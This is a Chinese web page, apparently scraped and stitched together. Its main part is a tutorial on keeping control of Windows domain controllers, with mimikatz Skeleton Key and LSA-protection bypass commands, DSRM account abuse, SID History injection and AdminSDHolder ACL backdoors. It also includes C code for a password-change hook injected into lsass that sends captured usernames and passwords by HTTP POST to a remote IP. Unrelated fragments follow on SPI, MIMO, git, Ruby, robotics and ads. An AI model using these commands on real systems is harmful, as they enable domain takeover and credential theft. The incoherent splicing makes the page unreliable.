该技术通过注入 lsass.exe 进程实现,并且创建的 Skeleton Key 只是保存在内存中,域控只要重启,Skeleton Key 就会失效。注意:利用该技术需要拥有域管理员的权限
mimikatz.exe "privilege::debug" "misc::skeleton" exit
执行后,将成功创建 Skeleton Key 域后门,为所有的域账户设置一个相同的密码 “mimikatz”,从而使其他机器可以成功登录域控。
# 开启 LSA 保护策略
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 关闭 LSA 保护策略
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL
不过,Mimikatz 可以绕过 LSA 保护。该功能需要 Minikatz 项目中的 mimidrv.sys 驱动文件,相应的 Skeleton Key 安装命令也变为了如下:mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton


# 进入 ntdsutil
ntdsutil
# 进入设置 DSRM 账户密码设置模式
set dsrm password
# 在当前域控上恢复 DSRM 密码
reset password on server null
# 输入新密码 123456Lhz!
<password>
# 再次输入新密码
<password>
# 退出 DSRM 密码设置模式
q
# 退出 ntdsutil
q
hacker 可以通过修改 DSRM 账户的密码,以维持对域控的权限。该技术适用于 Windows Server 2008 及以后版本的服务器,并需要拥有域管理员的权限利用过程:① 执行以下命令,通过 Mimikatz 读取域控的 SAM 文件,获取 DSRM 账户的哈希值。
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
② 修改 DSRM 账户的登录模式,以允许该账户远程登录。可以通过编辑注册表的DsrmAdminLogonBehavior 键值来实现,可选用的登录模式有以下3种:0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号。1:只有当本地 AD DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器。2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器。执行以下命令,将 DSRM 的登录模式改为 “2”,允许 DSRM 账户在任何情况下都可以登录域控。reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
③ 这时,hacker 就可以通过 DSRM 账户对域控制器进行控制了。执行以下命令,使用 DSRM 账户对域控执行哈希传递攻击并成功获取域控权限:
② 向域控制器上传 Mimikatz,并执行以下命令,将域管理员 Administrator 的 SID 添加到域用户 Alice 的 SID History 属性中:# mimikatz版本大于2.1.0
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:Alice /new:Administrator" exit
# mimikatz版本小于2.1.0
mimikatz.exe "privilege::debug" "misc::addsid Alice ADSAdministrator" exit
③ 通过 Powershell 查看 Alice 用户的属性,可以发现其 SID History 属性值已经与 Administrator 用户的 SID 相同,这说明 Alice 用户将继承 Administrator 用户的所有权限。Import-Module ActiveDirectory
Get-ADUser hack -Properties SIDHistory
④ 通过 Alice 用户连接域控,执行 “whoami /priv” 命令,可以看到该用户拥有域管理员的所有特权。
AdminSDHolder 通常作为系统中某些受保护对象的安全模板,以防止这些对象遭受恶意修改或滥用。受保护对象通常包括系统的特权用户和重要的组,如 Administrator、Domain Admins、Enterprise Admins 以及 Schema Admins 等。在活动目录中,属性 adminCount 用来标记特权用户和组。对于特权用户和组来说,该属性值被设为 1。
通过 ADFind 查询 adminCount 属性设置为 1 的对象,可以找到所有受 AdminSDHolder 保护的特权用户和组。# 枚举受保护的用户
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
# 枚举受保护的组
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=group)(admincount=1)" -dn
在默认情况下,系统将定期(每60分钟)检查受保护对象的安全描述符,将受保护对象的 ACL 与 AdminSDHolder 容器的 ACL 进行比较,如果二者不一致,系统就会将受保护对象的 ACL 强制修改为 AdminSDHolder 容器的 ACL。该工作通过 SDProp 进程来完成,该进程以 60 分钟为一个工作周期。利用该技术需要拥有域管理员权限执行以下命令,通过 PowerView 向 AdminSDHolder 容器对象添加一个 ACL,使普通域用户 Alice 拥有对 AdminSDHolder 的 “完全控制” 权限。
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose
执行后,Alice 用户成功拥有 AdminSDHolder 容器对象的完全控制权限
等待 60 分钟后,Alice 用户将获得对系统中的特权用户和组完全控制权限。
此时,Alice 用户可成功向 Domain Admins 等关键用户组内添加成员。
如果清除 Alice 用户对 AdminSDHolder 的完全控制权限,可以执行以下命令:Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose
# 工作周期修改为 1 分钟,键值以秒为单位
reg add HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
方法2:强制 SDProp 执行① 运行 Ldp.exe(C:\Windows\System32\Ldp.exe)
② 点击连接 -> 连接,输入当前机器的机器名或IP,端口默认为 389
③ 点击连接 -> 绑定,选择绑定为当前登录的用户
④ 在修改窗口这里针对不同版本的域控制器有不同的情况:当域控为Windows Server 2008时,点击浏览 -> 修改,在属性选项卡中输入 FixUpInheritance ,在值字段输入 yes。操作选择添加,然后点击输入,最后运行即可。
当域控为Windows Server 2008 R2或Windows Server 2012及以上时,点击浏览 -> 修改,在属性选项卡中输入 RunProtectAdminGroupsTask ,在值字段输入 1。操作选择添加,然后点击输入,最后运行即可。
PSAM_PASSWORD_NOTIFICATION_ROUTINE PsamPasswordNotificationRoutine;
NTSTATUS PsamPasswordNotificationRoutine(
[in] PUNICODE_STRING UserName,
[in] ULONG RelativeId,
[in] PUNICODE_STRING NewPassword
)
{...}

② 将编译好的 HookPasswordChange.dll 和 Invoke-ReflectivePEInjection.ps1 上传到域控制器,并通过 Invoke-ReflectivePEInjection.ps1 将 HookPasswordChange.dll 注入 lsass.exe 进程。# 导入 Invoke-ReflectivePEInjection.ps1
Import-Module .\Invoke-ReflectivePEInjection.ps1
# 读取 HookPasswordChange.dll 并将其注入 lsass 进程
$PEBytes = [IO.File]::ReadAllBytes('C:\HookPasswordChange.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass
建议在 Windows Server 2012 上进行测试,Window Server 2019 亲测运行脚本会报错③ 当管理员修改密码时,用户的新密码将记录在 c:\windows\temp 目录的 password.txt 文件中。
此外,password.txt 文件的保存路径可以自定义,需要在 HookPasswordChange.cpp 文件中修改
我们还可以在源码的基础上通过 WinINet API 添加一个简单的 HTTP 请求功能,将获取到的用户密码传回远程服务器,相关代码如下:// 需要包含 --> #incloud <WinInet.h>
HINTERNET hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternet == NULL)
{
InternetCloseHandle(hInternet);
}
HINTERNET hSession = InternetConnect(hInternet, L"192.168.220.132", 6666, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (hSession == NULL)
{
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
}
char strUserName[128];
char strPassword[128];
WideCharToMultiByte(CP_ACP, 0, userName, -1, strUserName, sizeof(strUserName), NULL, NULL);
WideCharToMultiByte(CP_ACP, 0, password, -1, strPassword, sizeof(strPassword), NULL, NULL);
char Credential[128];
snprintf(Credential, sizeof(Credential), "username=%s&password=%s", strUserName, strPassword);
HINTERNET hRequest = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
TCHAR ContentType[] = L"Content-Type: application/x-www-form-urlencoded";
HttpAddRequestHeaders(hRequest, ContentType, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);
HttpSendRequest(hRequest, NULL, 0, Credential, strlen(Credential));
加入HTTP 请求功能后重新编译时,如果出现报错:无法解析的外部符合 _imp_XXXXX,可以参考:解决方案?博客主页:https://xiaoy.blog.csdn.net?本文由呆呆敲代码的小Y原创,首发于CSDN??学习专栏推荐:Unity系统学习专栏?游戏制作专栏推荐:游戏制作?Unity实战100例专栏推荐:Unity实战100例教程?欢迎点赞?收藏⭐留言?如有错误敬请指正!?未来很长,值得我们全力奔赴更美好的生活✨------------------❤️分割线❤️-------------------------
SPI接收数据左移一位问题目录SPI接收数据左移一位问题一、问题描述二、问题分析三、探究原理四、经验总结最近在工作在学习调试SPI的过程中遇到一个问题——接收数据整体向左移了一位(1bit)。SPI数据收发是数据交换,因此接收数据时从第二个字节开始才是有效数据,也就是数据整体向右移一个字节(1byte)。请教前辈之后也没有得到解决,通过在网上查阅前人经验终于解决问题,所以写一个避坑经验总结。实际背景:MCU与一款芯片使用spi通信,MCU作为主机,芯片作为从机。这款芯片采用的是它规定的六线SPI,多了两根线:RDY和INT,这样从机就可以主动请求主机给主机发送数据了。一、问题描述根据从机芯片手
MIMO技术的优缺点优点通过下面三个增益来总体概括:阵列增益。阵列增益是指由于接收机通过对接收信号的相干合并而活得的平均SNR的提高。在发射机不知道信道信息的情况下,MIMO系统可以获得的阵列增益与接收天线数成正比复用增益。在采用空间复用方案的MIMO系统中,可以获得复用增益,即信道容量成倍增加。信道容量的增加与min(Nt,Nr)成正比分集增益。在采用空间分集方案的MIMO系统中,可以获得分集增益,即可靠性性能的改善。分集增益用独立衰落支路数来描述,即分集指数。在使用了空时编码的MIMO系统中,由于接收天线或发射天线之间的间距较远,可认为它们各自的大尺度衰落是相互独立的,因此分布式MIMO
文章目录git常用命令(简介,详细参数往下看)Git提交代码步骤gitpullgitstatusgitaddgitcommitgitpushgit代码冲突合并问题方法一:放弃本地代码方法二:合并代码常用命令以及详细参数gitadd将文件添加到仓库:gitdiff比较文件异同gitlog查看历史记录gitreset代码回滚版本库相关操作远程仓库相关操作分支相关操作创建分支查看分支:gitbranch合并分支:gitmerge删除分支:gitbranch-ddev查看分支合并图:gitlog–graph–pretty=oneline–abbrev-commit撤消某次提交git用户名密码相关配置g
我正在构建一个应用程序,想知道是否将未使用的对象设置为nil是生产级编码中的常见做法。我知道这只是垃圾收集器的提示,并不总是处理对象。 最佳答案 根据这个thread如果您使用完一个成员对象,将其设置为nil将引发被引用对象被垃圾回收。如果它是局部变量,方法exit将做同样的事情。也就是说,如果您要求将成员显式设置为nil,我会质疑您的设计。 关于ruby-将对象设置为nil是否很常见?,我们在StackOverflow上找到一个类似的问题: https://
我最近与一位同事讨论了以下Ruby语法:value=ifa==0"foo"elsifa>42"bar"else"fizz"end我个人并没有看到太多这种逻辑,但我的同事指出,这实际上是一种相当普遍的Rubyism。我试着用谷歌搜索这个主题,但没有找到任何文章、页面或SO问题来讨论它,这让我相信这可能是一种非常实际的技术。然而,另一位同事发现语法令人困惑,而是将上面的逻辑写成这样:ifa==0value="foo"elsifa>42value="bar"elsevalue="fizz"end缺点是value=的重复声明和隐式elsenil的丢失,如果我们想使用它的话。这也感觉它与Ruby
我刚刚看到whitehouse.gov正在使用drupal作为CMS和门户技术。drupal的优点之一似乎是很容易添加插件,而且编程最少,即重新发明轮子最少。这实际上正是Ruby-on-Rails的DRY理念。所以:drupal的缺点是什么?Rails或其他基于Ruby的技术有哪些不符合whitehouse.org(或其他CMS门户)门户技术的资格? 最佳答案 Whatarethedrawbacksofdrupal?对于Ruby和Rails,这确实是一个相当主观的问题。Drupal是一个可靠的内容管理选项,非常适合面向社区的站点。它
目录0专栏介绍1平面2R机器人概述2运动学建模2.1正运动学模型2.2逆运动学模型2.3机器人运动学仿真3动力学建模3.1计算动能3.2势能计算与动力学方程3.3动力学仿真0专栏介绍?附C++/Python/Matlab全套代码?课程设计、毕业设计、创新竞赛必备!详细介绍全局规划(图搜索、采样法、智能算法等);局部规划(DWA、APF等);曲线优化(贝塞尔曲线、B样条曲线等)。?详情:图解自动驾驶中的运动规划(MotionPlanning),附几十种规划算法1平面2R机器人概述如图1所示为本文的研究本体——平面2R机器人。对参数进行如下定义:机器人广义坐标
当音乐碰上区块链技术,会擦出怎样的火花?或许周杰伦已经给了我们答案。8月29日下午,B站独家首发周杰伦限定珍藏Demo独家访谈VCR,周杰伦在VCR里分享了《晴天》《青花瓷》《搁浅》《爱在西元前》四首经典歌曲Demo背后的创作故事,并首次公布18年前未发布的神秘作品《纽约地铁》的Demo。在VCR中,方文山和杰威尔音乐提及到“多亏了区块链技术,现在我们可以将这些Demos,变成独一无二具有收藏价值的艺术品,这些Demos可以在薄盒(国内数藏平台)上听到。”如何将音乐与区块链技术相结合,薄盒方面称:“薄盒作为区块链技术服务方,打破传统对于区块链技术只能作为数字收藏的理解。聚焦于区块链技术赋能,在
网站的日志分析,是seo优化不可忽视的一门功课,但网站越大,每天产生的日志就越大,大站一天都可以产生几个G的网站日志,如果光靠肉眼去分析,那可能看到猴年马月都看不完,因此借助网站日志分析工具去分析网站日志,那将会使网站日志分析工作变得更简单。下面推荐两款网站日志分析软件。第一款:逆火网站日志分析器逆火网站日志分析器是一款功能全面的网站服务器日志分析软件。通过分析网站的日志文件,不仅能够精准的知道网站的访问量、网站的访问来源,网站的广告点击,访客的地区统计,搜索引擎关键字查询等,还能够一次性分析多个网站的日志文件,让你轻松管理网站。逆火网站日志分析器下载地址:https://pan.baidu.